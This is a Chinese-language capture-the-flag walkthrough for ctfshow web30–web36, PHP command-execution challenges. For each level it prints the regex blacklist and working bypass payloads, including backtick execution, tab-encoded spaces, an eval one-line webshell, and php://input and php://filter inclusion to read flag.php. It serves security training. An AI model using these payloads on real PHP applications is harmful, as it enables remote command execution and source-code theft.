ctfshow-web入门-命令执行(web30-web36)

目录

1、web30

2、web31

3、web32

4、web33

5、web34

6、web35

7、web36


命令执行,需要严格的过滤

1、web30

代码差不多,就是过滤的东西变多了:

复制代码
preg_match("/flag|system|php/i", $c)

这里不让用 system ,我们用上一道题的方法使用反引号执行命令,构造 payload:

复制代码
?c=echo `ls`;

读取 flag:

复制代码
?c=echo `cat f*`;

查看源码:

拿到 flag:ctfshow{de6eb951-84e4-4a10-82ae-bb93787f2f9a}

其他的绕过方法就不再像第一题那样赘述了,我们继续下一题。

2、web31

复制代码
preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)

这里主要新增了对 cat 、点、单引号、空格的过滤:

cat 可以使用 tac 代替或者使用 rev 反向输出;

点和单引号我压根用不到所以不影响;

空格使用 URL编码的 %09 代替。

先列出文件,构造 payload:

复制代码
?c=echo%09`ls`;

执行成功

读取 flag,构造 payload:

复制代码
?c=echo%09`tac%09f*`;

拿到 flag:ctfshow{34ab0674-d667-4bf3-aa63-e7f43b0a6c65}

当然,其实对于空格的处理方式还有很多,我相信后面我们会介绍到的。

我一般习惯自己做了再参考它的 wp,这样可以学到不同的方法和思路:

利用无参数函数 ,payload:

复制代码
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

看一下 chatgpt 的解释:

scandir(pos(localeconv())): 这个函数调用 scandir() 用于扫描目录,pos(localeconv()) 返回当前本地化设置的符号。这段代码的目的是扫描某个目录下的文件和目录。

array_reverse(): 这个函数用于将数组中的元素倒序排列。在这里它被应用在 scandir() 的返回值上,意味着文件和目录列表将会以相反的顺序返回。

next(): 这个函数用于将数组的内部指针向前移动并返回当前元素的值。在这里它似乎是用于获取数组的下一个元素。

show_source(): 这个函数用于输出文件的源代码。这个代码的意图似乎是扫描某个目录下的文件和目录,然后将它们倒序排列,并尝试显示它们中的下一个文件的源代码。

此外,在网上还看到了另一个骚操作,payload:

复制代码
?c=eval($_GET[1]);&1=system('tac flag.php');

类似弄了个一句话木马 ,并且参数 1 后面的内容不受正则匹配的影响。

3、web32

复制代码
preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)

这里把反引号、echo、分号、左括号都过滤了,我们使用 php 伪协议。

首先看一下当前目录下的文件,构造 payload:

php 复制代码
?c=include$_GET["1"]?>&1=php://input 

这里的 ?> 是为了闭合前面的 php 语句,因为分号被过滤了,所以只能使用这个,后面另一参数 1 传入的内容不受正则匹配的影响。

post 写入我们想要执行的 php 代码即可:

php 复制代码
<?php system('ls');?>

读取 flag.php:

php 复制代码
<?php system('tac flag.php');?>

当然,我们也可以直接使用 php://filter 协议进行源码读取:

php 复制代码
?c=include$_GET["1"]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

base64 解码:

或者换一种编码方式输出就不需要解码了:

bash 复制代码
?c=include$_GET["1"]?>&1=php://filter/convert.iconv.utf8.utf16/resource=flag.php

拿到 flag:ctfshow{6626ab77-2eee-4862-9292-a395fdcd0f5d}

4、web33

bash 复制代码
preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)

过滤新增了双引号,去掉上一题的 payload 中变量的双引号即可:

bash 复制代码
?c=include$_GET[1]?>&1=php://filter/convert.iconv.utf8.utf16/resource=flag.php

flag:ctfshow{f1725a2e-1816-4401-845e-5690e1f8a209}

5、web34

新增过滤冒号,不过对上一题的 payload 不影响,直接上:

bash 复制代码
?c=include$_GET[1]?>&1=php://filter/convert.iconv.utf8.utf16/resource=flag.php

拿到 flag:ctfshow{1dbf17bf-857e-4f2c-be34-b9a99eab8480}

6、web35

新增过滤小于号和等号,我们用到的是大于号,因此依旧用前面文件包含的 payload 来打:

bash 复制代码
?c=include$_GET[1]?>&1=php://filter/convert.iconv.utf8.utf16/resource=flag.php

拿到 flag:ctfshow{dd218453-ee10-4d4c-ad85-d7b4a7bb0c7c}

7、web36

新增过滤斜杠和数字 0-9,我们使用字母来传参即可:

bash 复制代码
?c=include$_GET[a]?>&a=php://filter/convert.iconv.utf8.utf16/resource=flag.php

拿到 flag:ctfshow{6d9aeca5-db5e-4740-959a-87abc8ee756b}

相关推荐
chushiyunen1 分钟前
python中的魔术方法(双下划线)
前端·javascript·python
楠木68516 分钟前
从零实现一个 Vite 自动路由插件
前端
星雨流星天的笔记本17 分钟前
2.用洗洁精洗过的三口烧瓶的处理方法
学习
云边散步22 分钟前
godot2D游戏教程系列二(18)
笔记·学习·游戏
终端鹿27 分钟前
Vue2 迁移 Vue3 避坑指南
前端·javascript·vue.js
程序员陆业聪31 分钟前
工程师的瓶颈,已经不是代码了
前端
風清掦37 分钟前
【江科大STM32学习笔记-09】USART串口协议 - 9.1 STM32 USART串口外设
笔记·stm32·单片机·嵌入式硬件·学习
毛骗导演1 小时前
@tencent-weixin/openclaw-weixin 源码ContextToken 持久化改造:实现微信自定义消息发送能力
前端·架构
爱丽_1 小时前
Pinia 状态管理:模块化、持久化与“权限联动”落地
java·前端·spring
奶茶精Gaaa1 小时前
AI实战(二)生成ui自动化
功能测试·学习·自动化